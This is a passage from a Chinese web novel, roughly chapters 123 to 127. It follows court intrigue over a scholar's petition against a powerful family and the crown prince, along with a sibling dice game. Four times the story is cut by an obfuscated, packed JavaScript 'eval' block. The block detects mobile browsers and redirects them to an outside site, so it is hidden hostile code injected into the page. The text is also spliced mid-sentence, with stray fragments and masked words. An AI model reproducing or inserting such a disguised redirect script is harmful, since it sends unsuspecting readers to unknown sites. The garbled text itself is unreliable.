茅清兮赶紧进去,只见冀容白已经醒了,正揉着太阳穴,一脸疲惫。 “出什么事了?”他问,声音有些沙哑。 茅清兮简单地说了情况: “潘云霄来了。” 冀容白听了,脸上没有丝毫意外,似乎早已料到。 他起身,随手披了件外袍,遮住单薄的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“苏将军,这是铁了心要护着那邱默了?” “护着?” 冀容白笑了笑,眼神却冷得吓人: “我只是… 第一百二十三章 …不喜欢有人坏了规矩。” 他盯着潘云霄,一字一顿: “还是说,苏大人想……在这里动手?” 潘云霄紧握刀柄,手背青筋暴起。 两人之间的气氛,剑拔**张。 良久,潘云霄冷哼一声,拂袖而去: “哼,我们走!” 两名锦衣卫立刻跟上,三人迅速消失在夜色中。 --- “那邱默……究竟是什么人?” 潘云霄走后,茅清兮终于问出了心中的疑惑。 冀容白示意墨川。 墨川从怀中取出一张纸,递给冀容白。 冀容白展开,茅清兮也凑近去看。 这是一份写满字的纸,字迹潦草,却力透纸背,透着一股悲愤之情。 这是……邱默的申冤状。 邱默在文中,详细讲述了自己的经历。 他本是去年秋闱中脱颖而出的举人,一心想在来年春闱大展拳脚。 谁知,竟遭当地豪强尹家百般阻挠,不仅错失了春闱,还被尹家一路追杀。 安宁府,尹家? 茅清兮隐约记得,这尹家,似乎是宁王妃的娘家。 虽然只是庶出,但与京城嫡支关系密切,在安宁府也是一手遮天。 可邱默一个穷书生,怎么会惹上尹家这尊庞然大物? 她继续往下看。 原来,今年年初,邱默的姐姐出嫁。 可就在成亲当天,新娘竟被尹家子弟尹云河强行掳走。 徐家姐姐不堪受辱,当晚便在尹家上吊自尽。 尹家想遮掩这个黑料,竟将尸体扔到乱葬岗,还灭了徐姐夫一家满门。 邱默悲愤难当,四处告状。 可尹家早已买通了各级官员,从县衙到安宁府,然后去按察司、都司,竟无人敢接他的状子。 邱默申冤无门,只能借着进京赶考的名义,一路北上。 谁知,尹家竟派人一路追杀,他的弟弟和父亲,都惨死在追杀途中,只有母亲侥幸逃脱。 邱默为了活命,也为了继续申冤,只能带着母亲投靠了一伙流寇。 而这伙流寇,之所以能屡次躲过官府的围剿,一路来到京城,也多亏了邱默出谋划策。 他原本的计划,是想利用这伙流寇制造混乱,吸引朝廷的注意。 然后,再以清韵公主为人质,逼迫三法司彻查徐家血案。 原来如此。 茅清兮终于明白了整件事的来龙去脉。 可她心中,仍有疑惑。 乐雅书又是如何得知邱默的计划的? 还答应帮他申冤? 这其中,是否还有什么隐情? 还有,邱默一个手无缚鸡之力的书生,真的有这么大的本事,能让两千流寇,躲过重重追捕,一路畅通无阻地来到京城?锦衣卫那帮人,鼻子比狗都灵,怎么会盯上邱默? 更何况,冀容白还横插一脚,这事儿就更蹊跷了。 茅清兮的视线像两把小刷子,在冀容白脸上来回刷,非要刷出个所以然来。 “人是我逮的,凭什么给他们?” 冀容白轻描淡写,语气里透着一股子霸道。 “锦衣卫那群废物,自个儿没本事抓人,还想坐享其成?” 茅清兮压根不信他的鬼话,直接打断: “胡扯。那天出城,我可亲眼瞧见潘云霄带着一队锦衣卫,马蹄子都快飞起来了,直奔城外。要真是为了邱默,速度怎么可能比你们更拉胯?” 她边回忆边分析,越说越觉得不对劲, “我猜,潘云霄八成是先去了安宁府,扑了个空,才急吼吼地赶回来。结果呢?还是被你抢了先。” 说到这,她微微一顿,眼神如刀,直勾勾地盯着冀容白, “可潘云霄费这么大劲抓邱默,图什么?平乱?还是……替邱默翻案?” 若真是为了替邱默翻案,那宁王可就要大难临头了。 毕竟,尹家那些破事一旦抖搂出来,谁都保不住他。 这可不仅仅是清韵公主的事儿,更要命的是,还牵扯到皇上最忌讳的乱党。尹家在安宁府只手遮天,捅出这么大篓子,皇上绝不会善罢甘休,京里的尹家也得跟着遭殃。 宁王没了尹家撑腰,还不跟断了线的风筝似的? 这么一想,潘云霄倒像是在给太子办事。 毕竟,最后捡着便宜的,肯定是太子。 “丫头,你可知这伙流寇是怎么从安宁府一路杀到京城的?”冀容白突然问。 “有人递了通关文牒?”茅清兮试探着问。 “没错。” 冀容白点头, “安宁府那些人,早就跟尹家穿一条裤子了,巴不得邱默人间蒸发。可偏偏有人暗中保他,让他一路畅通无阻。” 茅清兮没吭声,但心里跟明镜似的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062154|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了太子,还能有谁? “那些流寇里头,是不是也有太子的人?”她抬眸,直视冀容白。 冀容白眨了眨眼,嘴角微微上扬: “丫头,你再猜猜,爷把这伙人一锅端了,谁最跳脚?” 这还用猜? 茅清兮忍不住在心里翻了个白眼。 当然是太子。 估摸着,打从邱默离开安宁府,太子就布好了局,等着他进京,把尹家的丑事闹得人尽皆知。 到时候,就算皇上有心偏袒,也得掂量掂量满朝文武和唾沫星子能不能把他淹死。 只是,让茅清兮没想到的是,乐雅书竟也掺和了进来。 那可是顾国公府啊,世代清流,从不站队,怎么也趟了这浑水? 难不成,整个顾国公府都投靠了太子? “乐雅书‘以文服人’,是为了太子?”茅清兮问。 “也是为了他自个儿。” 冀容白淡淡道,仿佛早已看透了这其中的弯弯绕绕, “常家不入仕,这是老祖宗定下的规矩。可乐雅书偏偏是个有野心的,他不甘心一辈子只做个清高的读书人。” 常家不科举,不入仕,所以乐雅书才剑走偏锋。 茅清兮瞬间了然。 他若真能靠着三寸不烂之舌,让这群**不眨眼的流寇放下屠刀,那可就一战成名了。 到时候,别说京城,全天下的读书人都得对他顶礼膜拜。 太子怕也是看中了他这一点,想推他入仕。 这一招,可真够毒的。 一箭三雕。 既能给宁王添堵,又能把乐雅书这把“刀”握在手里,还能顺道把长公主府也拉下水。 茅清兮越想越心惊。 钱云霄,果然不是个省油的灯。 就连宁王也被他耍得团团转,更何况是自己? 想到这,她不由得泄了口气。 看来,她还是太弱了,只能继续装孙子。 “冀容白,你咋啥都知道?” 她突然看向身边的男人,目光灼灼。 这才多久,他竟把这前前后后、里里外外都摸了个透? “想知道?”冀容白凑近了些,笑得像只偷了腥的猫,“叫声夫君,爷就告诉你。” 温热的气息喷洒在耳边,茅清兮身子微微一僵。 墨川恨不得找个地缝钻进去,余光却瞥见俞霜正朝他挤眉弄眼。 第一百二十四章 那眼神,分明是在说:走不走? 墨川犹豫着,摇了摇头。 主子没发话,他可不敢动。 俞霜暗自撇嘴:真是个不开窍的木头! 正当俞霜准备开溜时,茅清兮冷不丁哼了一声,扭头就走。 “没个正形。” 俞霜赶忙跟上,留下墨川看着自家主子。 冀容白也不恼,只是笑意更浓了。 “主子?”墨川小心翼翼地唤了一声。 冀容白回神,摆了摆手,示意他退下。 茅清兮回到屋里,刚推开门,就见茅飞羽像个门神似的杵在那儿。 “你杵这儿干嘛?” 茅清兮没好气地问。 “姐!” 茅飞羽一见她,立马换上一副可怜巴巴的表情, “你可算回来了,我都等你半天了。” 说着,还委屈地朝茅清兮的肩膀瞄了一眼。 茅清兮被他看得浑身不自在, “有屁快放。” “姐,你肩膀还疼不疼?”茅飞羽小心翼翼地问。 “早没事了。”茅清兮答得干脆。 “怎么可能!” 茅飞羽一听就急了, “伤得那么重,鲜血流了一地,换成我,早疼得满地打滚了。” “少跟我比。”茅清兮瞪了他一眼。 茅飞羽不吭声了,只是幽怨地瞅着茅清兮。 茅清兮更莫名其妙了: “又不是你受伤,瞎操什么心?有这功夫,不如回去多背几篇文章。” “我……” 茅飞羽刚想反驳,话到嘴边又咽了回去。 他算是看出来了,茅清兮压根儿就没把他当回事! 他“啪”地一下把一盒药膏拍到茅清兮手里, “爱用不用!” 说完,气鼓鼓地转身跑了。 “这小子,又抽什么风?” 茅清兮拿着药膏,一脸茫然。 俞霜跟在后面,叹了口气: “主子,少爷这是心疼您呢。” 心疼? 茅清兮愣了愣,茅飞羽会心疼她? 俞霜看着自家主子,暗自摇头。 主子平日里瞧着挺精明,怎么一到这事儿上就犯糊涂? 她甚至开始替冀容白着急了。 茅清兮没再多想,转而去看了清韵。 沈大夫已经给大伙儿都瞧过了,清韵是皮外伤,韩长华可就惨了,腿断了,没个把月别想下地。 茅清兮到的时候,清韵正拉着她说个不停。 “清兮你来得正好,快帮我劝劝韩长华那根木头!” 清韵气得直翻白眼, “他那条腿都快废了,还非要回文华院,说什么《梁史》要紧……” 茅清兮这才知道,韩长华心心念念的,是前朝史的编纂。 文华院把这差事交给一个新科探花,明摆着就是不重视。 可韩长华倒好,跟捡了宝似的。 “我跟他说,他不听,还说什么‘臣奉旨编纂,不敢有误’,你说他是不是傻?” 清韵越说越来气, “本公主不让他走,他还能飞了不成?” 她冷哼一声,转头吩咐身边的侍卫: “你们几个,给本公主看紧了沈大人,好生伺候着。他可是本公主的救命恩人,要是磕着碰着,仔细你们的皮!” “是!” 侍卫们齐声应道,声如洪钟。 韩长华急得脸都白了,却又无可奈何。 清韵得意地朝他挑了挑眉: “哼,小样儿,本公主还治不了你了?” 说完,拉着茅清兮扬长而去,留下韩长华独自一人唉声叹气,满腹愁绪。山庄的清晨,雨声淅淅沥沥。 茅清兮推开房门,湿润的空气夹杂着泥土的芬芳扑面而来。 远山如黛,笼罩在薄薄的雾气中,如诗如画。 俞霜撑着一把油纸伞,紧随其后。 “主子,昨晚乐雅书那老狐狸果然有小动作,想偷偷给太子送信儿,还好被咱们的人逮了个正着。” 俞霜压低声音,语气里带着几分小得意。 茅清兮轻轻“嗯”了一声,神色平静。 她对乐雅书的小动作并不意外,这老狐狸一向诡计多端。 “朝堂那边呢,有什么动静?” 茅清兮更关心朝堂上的局势。 “玄苏来信了,听闻皇上已得知两千贼寇之事,也知道是鹰羽卫平定的。” 俞霜顿了顿, “苏将军腿伤痊愈的消息,也在朝堂上传开了。” 茅清兮脚步一顿,眉头微蹙。 冀容白隐瞒了两年,却偏偏在这个时候暴露,实在蹊跷。 他究竟有什么打算? “朝中那些大臣,就没说点什么?” “怎么没说?一个个跟闻着腥味的猫似的,上蹿下跳地**苏将军,说他未经圣上允许就私自调动鹰羽卫,还包庇什么叛军头目。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062155|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 俞霜撇撇嘴, “都察院那帮人也跟着起哄,说找到了尹家为非作歹、残害读书人的证据,顺带着把宁王也给参了一本。” 说到这里,俞霜的语气中透露出一丝担忧。 鹰羽卫虽说是冀容白的亲兵,可毕竟足足五万人马,还驻扎在京城附近,谁见了不忌惮三分? 往严重了说,没有皇上的命令就擅自动兵,扣个谋反的罪名都不算冤枉他。 不过朝中那些老油条,哪个不知道皇上对冀容白的器重?谁敢真往谋反上头扯,那不是嫌命长了吗? 俞霜暗自琢磨,都察院查得这么清楚,多半是太子在背后捣鬼。 邱默那档子事眼瞅着是闹不大了,太子这是打算另辟蹊径,让都察院咬住尹家不放,逼冀容白把邱默交出去。 只是不知道,冀容白打算如何应对? 茅清兮心里转过这些念头,不知不觉已走到凉亭附近。 远远望去,冀容白和茅飞羽正凑在一块儿,不知道在捣鼓些什么。 茅飞羽手里拿着个骰盅,摇得震天响,然后猛地往桌上一扣。 “姐夫,来来来,猜猜这把大小?” 茅飞羽满脸兴奋,眼睛都放光。 冀容白坐在轮椅上,笑着摆了摆手。 “这活儿我真不太擅长,你还是找别人玩去吧。” “哎?姐夫你刚才不是猜得挺准的吗?怎么这会儿又推脱起来了?” 茅飞羽一脸的不相信。 冀容白连忙辩解: “你可别瞎说,我什么时候玩过这个?娘子,你可得相信我,我向来洁身自好,不沾这些乱七八糟的东西。” 茅飞羽身体一僵,像是被施了定身法,缓缓转过头。 茅清兮正站在他身后,面无表情地盯着他。 “姐……姐……你起这么早啊?” 茅飞羽的声音都有些发抖。 茅清兮冷冷地开口: “一个三,一个四。” “啊?” 茅飞羽一愣,小心翼翼地揭开骰盅。 这不就是个三点么,一个四点! “姐,你……你怎么知道的?” 茅飞羽惊得下巴都快掉下来了。 茅清兮冷哼一声: “长能耐了啊茅飞羽,玩骰子都玩到我眼皮子底下来了?” “没……没有!姐,我就是随便玩玩……” 茅飞羽慌忙解释, “我……我这就回去温书,不玩了! 第一百二十五章 ” 说着,他脚底抹油,就要开溜。 茅清兮眼疾手快,一把抓住他的后脖领,硬生生把他拽了回来,跟提小鸡似的。 “不是说要摇骰子玩玩吗?今儿个我奉陪到底!” 茅清兮把茅飞羽按在凳子上,自己在他对面坐下,气势汹汹。 茅飞羽吓得直哆嗦,一个劲儿地求饶: “姐,我错了,我真不玩了……” “怎么,怕了?” 茅清兮挑眉。 “谁……谁说我怕了!” 茅飞羽硬着头皮, “玩就玩!我还怕了你不成?” 他心里暗暗给自己打气,茅清兮一个大门不出二门不迈的闺阁女子,还能比他更精通此道? 茅清兮没再搭理他,只是冷冷地看着他。 冀容白在一旁看热闹不嫌事大,笑眯眯地开口: “既然是赌,总得有点彩头才刺激嘛。” “赌……赌什么?” 茅飞羽心里更慌了。 茅清兮瞟了冀容白一眼,冀容白回以一个意味深长的笑容。 “三局两胜,谁要是输了……” 茅清兮故意拉长了声音, “就绕着这山庄跑十圈,边跑边喊‘我是猪’!” “啊?!” 茅飞羽差点没从凳子上摔下去,这惩罚也太狠了吧! 可看着茅清兮一脸认真的模样,他又不甘心认输。 万一茅清兮输了呢…… 茅飞羽心里抱着一丝侥幸,咬牙切齿地说: “赌就赌!谁怕谁啊!” …… 在此之前,茅清兮是被一阵轻微的响动给弄醒的。 她睁开眼,屋里光线昏暗。 披上衣服,走到门口,才发现外面下着淅淅沥沥的小雨。 俞霜听到动静,在外边轻声询问: “主子可是醒了?” “嗯。” 俞霜跟在她身后,语气中带着一丝邀功的意味: “主子昨晚睡得可真沉,奴婢都不敢打扰。” 茅清兮淡淡地应了一声,昨晚她睡得迷迷糊糊的时候,总觉得好像有人进了屋。 她感觉到有冰凉的指尖,轻轻地在她脸上摩挲。 她有些不耐烦,想挥手赶开,却又觉得那触感有些熟悉,让她不自觉地放松下来。 那人似乎察觉到了她的抗拒,非但没有收敛,反而变本加厉,用手掐住她琼鼻。 她听到一声低低的笑声,那人轻轻晃了晃她的鼻子,像是在逗弄一只小猫。 她气恼地挥手,却被那人准确地按住了。 “别闹,当心扯到伤口。” 一个低沉而熟悉的声音在她耳边响起,带着一丝无奈和宠溺。 她心里更气了,这伤口还不是你弄出来的? 可那人没再有进一步的动作,她也就渐渐放松了警惕,沉沉睡去。 …… 细雨如丝,给整个山庄蒙上了一层朦胧的诗意。 茅清兮想起昨晚的事,转头问身边的清韵: “对了,之前你的马,怎么会突然发狂?” 清韵皱着眉头,努力回想着当时的场景: “我也不太清楚,那匹汗血宝马平时挺温顺的,可那天跑到一处地方,突然就跟发了疯似的,怎么拉都拉不住。” “当时可把我吓坏了,后来想想,总觉得这事儿透着一股子邪乎劲儿。清兮,你是不是发现了什么?” 茅清兮摇了摇头: “我还没来得及查。” 那天事发突然,她还没顾得上仔细调查。 不过,或许已经没有必要了。 “清韵,你可知道,乐雅书其实是太子的人?” 茅清兮语出惊人。 “什么?!” 清韵脸色骤变,原本的轻松惬意荡然无存。 她虽然平日里看着有些任性,但绝不是个蠢笨之人。 她很快就想明白了这其中的利害关系。 “乐雅书……他难道是想把长公主府也拖下水?” 清韵的声音有些发颤,显然是被这个消息给震惊到了。 “恐怕是这样。” 茅清兮点了点头,肯定了她的猜测。 乐雅书是太子的人,一旦他娶了清韵,长公主府就等于是上了太子的贼船,想下都下不来了。 清韵深吸一口气,强迫自己冷静下来。 “清兮,这次真的多亏了你及时提醒。” 清韵的语气中充满了感激。 皇家薄情,这是人尽皆知的事。可长公主却能一直得到圣上的敬重,就是因为她从来不糊涂,不掺和那些争权夺利的事情。 当初长公主给清韵挑选夫婿,之所以看中乐雅书,就是因为顾国公府一向以清流自居,从不参与党争。 谁能想到,乐雅书竟然早就投靠了太子! 清韵一想到这里,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062156|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住一阵后怕。如果不是茅清兮及时提醒,长公主府恐怕真的要被乐雅书给坑惨了。 “你我之间,还用得着说这些客套话?” 茅清兮笑着摇了摇头。 “哎呀,你别动!” 清韵突然惊呼一声,伸手扶住了茅清兮的胳膊。 “怎么了?” 茅清兮有些疑惑。 “你身上还有伤呢!怎么能这么不小心?” 清韵一脸的责备, “都怪我,光顾着说话,忘了你还是个伤员了。” “我没事……” 茅清兮想要解释,却被清韵打断了。 “什么没事?伤筋动骨一百天,你这伤口要是再裂开,看你怎么办!” 清韵瞪了她一眼,然后转头对俞霜说: “俞霜,你家主子就交给你了,你可得给我看紧点儿,别让她再到处乱跑了!” 俞霜连忙应道: “是,公主。” 她早就想劝茅清兮回去休息了,只是碍于身份,不敢多言。 现在有了清韵公主的命令,她自然是求之不得。 清韵不容分说,直接让俞霜将茅清兮半扶半抱弄回屋去,还特地吩咐小厨房熬了补气养血的汤。 茅清兮执拗不过,只得乖乖躺回床上。 小丫鬟端来了热气腾腾的汤药和吃食,清韵非要亲眼看着茅清兮喝完才肯罢休。 不仅如此,她还特意叮嘱俞霜要寸步不离地守着茅清兮,要是茅清兮不听话,就立刻来向她禀报。“我说真的,你们两个,能不能别这么坑人?” 俞霜终于忍不住,翻了个白眼,直接吐槽。 她和身旁的墨川交换了一个眼神,都从对方的眸子里读出了一丝无奈,还有几分……嫌弃? 自家这两位主子,平日里看着挺正经的,怎么联起手来,坑一个才十岁的小孩? 这事办的,实在不怎么地道! 偏偏茅飞羽那傻小子还乐颠颠的,自己往坑里蹦跶。 茅飞羽要是知道俞霜和墨川在想什么,估计当场就得气得跳脚。 可惜,他什么都不知道。 他正美滋滋地想着怎么赢了茅清兮,让她也尝尝自己的厉害。 他哪里想得到,茅清兮和冀容白都是习武之人,听声辨位,那是基本功,跟吃饭喝水一样简单。 猜骰子点数这种小儿科的把戏,在他们面前玩,简直就是关公面前耍大刀——自不量力! 第一百二十六章 说穿了,这就是大人逗小孩玩呢! “姐,准备好了没?我们开始吧!” 茅飞羽把骰盅摇得“哗啦啦”响,半晌,重重地往桌上一扣,脸上是掩饰不住的兴奋和跃跃欲试。 茅清兮眼皮都没抬一下,只是淡淡地看着他,红唇轻启,缓缓吐出几个字: “一点,五点。” “哈!姐,你这次可输定了!” 茅飞羽一听,顿时乐开了花, “不过嘛,念在你是我姐的份上,本公子就大发慈悲,给你一次修改的机会,怎么样?” 他那副小人得志的嘴脸,配上那嘚瑟的语气,让人看了就想揍他一顿。 茅清兮依旧面无表情,只是静静地看着他,一言不发。 她现在严重怀疑,茅飞羽这小子的脑子是不是真的不太好使? 就这智商,还想跟自己斗? “姐?姐!你想什么呢?你要是不改的话我可就直接开猜了!” 茅飞羽见茅清兮半天没反应,忍不住出声催促, “我估摸着是两点和三点钟左右!怎么样,怕了吧?” 他心里早就打好了小算盘: 这摇骰子,看似简单,其实里面的门道可多着呢! 怎么摇,摇成什么点数,还不是全凭他这个摇骰子的人说了算? 只要他想,别说二点和三点了,就是摇出六个六来,也不是不可能! 茅清兮啊茅清兮,你就等着认输吧!乖乖地把那十碗黄连汤喝下去! 都怪你平日里老是整我? 在别的地方我斗不过你,今天在这骰子桌上,我非得把场子找回来不可! “姐,开盅了!你输定了!” 茅飞羽猛地掀开骰盅盖子,得意洋洋地大喊。 “哦?是吗?” 茅清兮嘴角微微勾起一抹弧度,带着几分嘲讽和不屑, “你,再仔细看看清楚。” “这……这怎么可能?!” 茅飞羽脸上的笑容瞬间僵住,像是被人点了穴道似的。 他猛地站起身,瞪大了眼睛,死死地盯着桌面上的骰子,一副活见鬼的表情。 俞霜实在看不下去了,默默地把头扭到一边。 这画面,太美,她不敢看。 “继续吧。” 茅清兮的声音依旧平淡,听不出任何情绪。 茅飞羽:“……” 他只觉得一股凉气从脚底板直窜头顶,整个人都懵了。 这……究竟发生了什么事情? 难道是自己刚才眼花了? 不可能啊! 茅飞羽看看茅清兮,又看看桌上的骰子,一脸的茫然和不知所措。 他咽了口唾沫,强自镇定下来,开始摇动下一轮的骰子。 “刚刚……刚刚一定是失误!对,就是失误!这次,这次我一定赢你!” 茅飞羽一边摇,一边在心里给自己打气。 茅清兮依旧不说话,只是静静地看着他,脸上没有任何表情。 冀容白则在一旁悠闲地品着茶,一副看戏的姿态。 “开!” 茅飞羽再次掀开骰盅。 “如何?” 茅清兮微微一笑,眼中闪过一丝戏谑, “还是我赢,可还要继续?” 茅飞羽的脸色瞬间变得煞白。 他张了张嘴,想说什么,却又说不出来。 “来人,给他上酸梅汤,” 茅清兮微微抬了抬下巴, “十碗。” 茅飞羽一听,眼睛都直了, “姐,你……” 他以为自己听错了,这黄连汤怎么变酸梅汤了? “怎么,嫌酸梅汤不够味儿?” 茅清兮挑了挑眉。 “不不不!够了够了!绝对够了!” 茅飞羽忙不迭地摇头,生怕茅清兮反悔。 他算是看出来了,自己跟茅清兮玩,那就是自讨苦吃! 他哪里知道,这是冀容白在旁边使了眼色,茅清兮才临时改了主意。 下人们很快就端来了十碗酸梅汤,摆在茅飞羽面前。 “谢……谢谢姐!” 茅飞羽端起碗,咕咚咕咚一口气喝了个精光, “真好喝!” 他由衷地赞叹道。 茅清兮瞥了他一眼,没说话。 这小子,真是给点阳光就灿烂。 晚膳时分,茅飞羽倒是胃口大开,吃了个肚儿圆。 他摸着肚子,心满意足地回了自己的房间。 夜幕降临,茅清兮和冀容白都喝完了药。 “冀容白,邱默现在就是个烫手山芋,你打算怎么办?” 茅清兮靠在床头,把玩着手中的玉佩。 “我打算把他交给锦衣卫北镇抚司的厉霆。” 冀容白没有直接回答,反而说出了一个名字。 “厉霆?” 茅清兮重复了一遍这个名字,似乎有些耳熟。 “对,就是他。他是皇上最信任的人之一,也是锦衣卫里最擅长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062157|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制衡的人。” 冀容白解释说, “邱默牵扯到太子和宁王,交给厉霆,他自然会明白该怎么做。” 茅清兮明白了,冀容白这是想借刀**。 与其自己动手,不如让皇帝的人去处理。 这样一来,既能达到目的,又能避免很多麻烦。 “不过,在此之前,我得先从他嘴里掏出点有用的东西。” 冀容白眼中闪过一道寒光。 “你打算怎么做?” 茅清兮好奇地问道。 “我已经让墨川去安排了,你就等着看好戏吧。” 冀容白神秘一笑。 茅清兮知道冀容白做事一向有分寸,也就没有再多问。 “对了,你有没有查到那些混在流寇里的士兵的身份?” 茅清兮想起另一件事。 “查到了。” 冀容白点点头, “他们是德州那边的地方军,领头的那个,是太子的一个远房亲戚。” “太子的人?” 茅清兮有些惊讶。 “没错。” 冀容白冷笑一声, “太子以为自己做得天衣无缝,却不知道,这世上没有不透风的墙。” 他顿了顿,继续说道: “太子原本是想浑水摸鱼,让乐雅书背锅,但现在看来,他自己也脱不了干系了。” “那你打算怎么办?” 茅清兮问道。 “自然是把这些证据都交给厉霆,让他去头疼吧。” 冀容白耸了耸肩。 茅清兮沉思片刻,也觉得这是最好的办法。 皇帝不会允许任何一方独大,一定会想办法维持平衡。 太子和宁王,这次恐怕都讨不了好。 在别庄又待了几日,这日,宫里来人,请冀容白即刻入宫。 几人这才收拾行装,准备回京。 乐雅书的腿伤还没好利索,只能让人抬着走。 这些日子,他对清韵公主倒是殷勤不减,甚至还变本加厉,每天都变着法儿地讨好她。 冀容白先行一步,快马加鞭赶往皇宫。 茅清兮和清韵一行人则慢悠悠的在后头跟着。 “清兮,我跟你说,我娘已经等不及要见你了,非让我把你带回去。” 清韵拉着茅清兮的手,语气亲昵。 “公主的好意我心领了,只是这几日我还有些事情要处理,改日定当登门拜谢。” 茅清兮谢绝了清韵。 第一百二十七章 清韵还想再劝,却见俞霜急匆匆地走了过来, “公主,长公主派了八百里加急来催,请您务必在今日日落之前回府。” 清韵一听,顿时垮了脸, “什么?这么急?!” 她还想跟茅清兮多待一会儿呢! “清兮,看来我今天是走不了了,你可得答应我,过几日一定要来公主府看我!” 清韵拉着茅清兮的手,依依不舍。 “好,我答应你。” 茅清兮笑着点了点头。 到了城门口,几人分道扬镳。 清韵公主一步三回头,恋恋不舍。 韩长华跟在清韵身后,看着她这副模样,心中五味杂陈。 “沈大人,我可不是随便什么人都送的,你可得记着我的好。” 清韵忽然转过头,冲着韩长华眨了眨眼。 韩长华无奈地叹了口气, “公主的好意,臣心领了,只是……” “只是什么?吞吞吐吐的,像个娘们儿!” 清韵不满地打断了他, “你放心,本公主做事,自有分寸!” 韩长华还想再说什么,却被清韵一个眼神给瞪了回去。 他只得闭上嘴,默默地跟在清韵身后。 他知道,自己是拗不过这位公主殿下的。 与清韵分别后,茅清兮带着茅飞羽回秦府。 “姐,我能不能先回趟家?” 茅飞羽小心翼翼地开口,打破了两人之间的沉默。 “做什么?” 茅清兮瞥了他一眼。 “我……我就是想回去看看我爹,跟他解释一下……” 茅飞羽的声音越来越低。 “解释什么?” 茅清兮停下脚步,看着他。 “就……就解释一下之前的事情,免得他误会你……” 茅飞羽低着头,不敢看茅清兮的眼睛。 茅清兮盯着他看了半晌,突然笑了, “行啊,咱俩一块儿回吧。”墨川推着冀容白行至明德殿前,吉公公早已候在那里。 不同于往日的慢条斯理,他几乎是小跑着迎了上来,脸上的褶子都挤在了一起。 “哎哟喂,苏将军,您可算来了!” 他尖着嗓子,一开口就带着几分夸张的热络, “皇上可都念叨您一早上了!” 冀容白微微颔首,神色淡淡: “有劳吉公公挂心。” “瞧您这话说的,伺候皇上和您,那是奴才的本分!” 吉公公满脸堆笑,殷勤地从墨川手中接过轮椅。 墨川默不作声地退到一旁,眼神却始终没有离开冀容白。 圣上正襟危坐于龙椅之上,似乎在批阅奏折。 听到动静,他猛地抬头,一见冀容白,竟直接起身,快步走下台阶,激动之情溢于言表: “容白!你来了!” 冀容白双手撑住轮椅扶手,缓缓起身,动作略显吃力,却依旧保持着挺拔的身姿。 “臣,参见陛下。” 他撩袍跪地,声音低沉而有力。 “好好,快起来!容白,你的腿……” 圣上亲自上前扶起冀容白,目光在他腿上逡巡,满是关切。 冀容白垂眸,借力站起。 然而,就在他站直的瞬间,脸色却陡然一变,先是煞白,紧接着又涨得通红,仿佛有一股无形的力量在他体内横冲直撞。 他猛地弯腰,一手捂住胸口,剧烈地咳嗽起来,一声紧似一声。 “咳咳咳……” “这……这是怎么了?” 圣上大惊失色,声音都变了调。 “臣……咳咳……” 冀容白断断续续地咳着,嘴角竟溢出一丝鲜血,身体摇摇欲坠,眼看就要向后倒去。 圣上惊怒交加,下意识地伸手去扶。 还是吉公公反应快,一个箭步冲上前,从后面稳稳扶住了冀容白,才避免了他摔倒在地的惨剧。 “太医!给朕传太医!” 圣上看着冀容白痛苦的模样,声音都有些扭曲,带着难以抑制的怒火与担忧。 御医们火速赶来,呼啦啦跪倒一片,一个个战战兢兢,轮番上前为冀容白诊脉。 他们一个个汗出如浆,却又不敢抬头,生怕触怒龙颜。 “圣上……” 过了好一会儿,为首的太医颤抖着声音开口, “苏将军这是……体内余毒未清,受了刺激,引得气血逆行,五内俱焚……” “朕问你容白的腿!他的腿怎么样了?!” 圣上打断了他的话,语气急迫,几乎是吼出来的。 “苏将军的腿……虽有好转,但寒星露余毒仍在,怕是……只能勉强站立片刻……” 太医们低着头,大气都不敢喘。 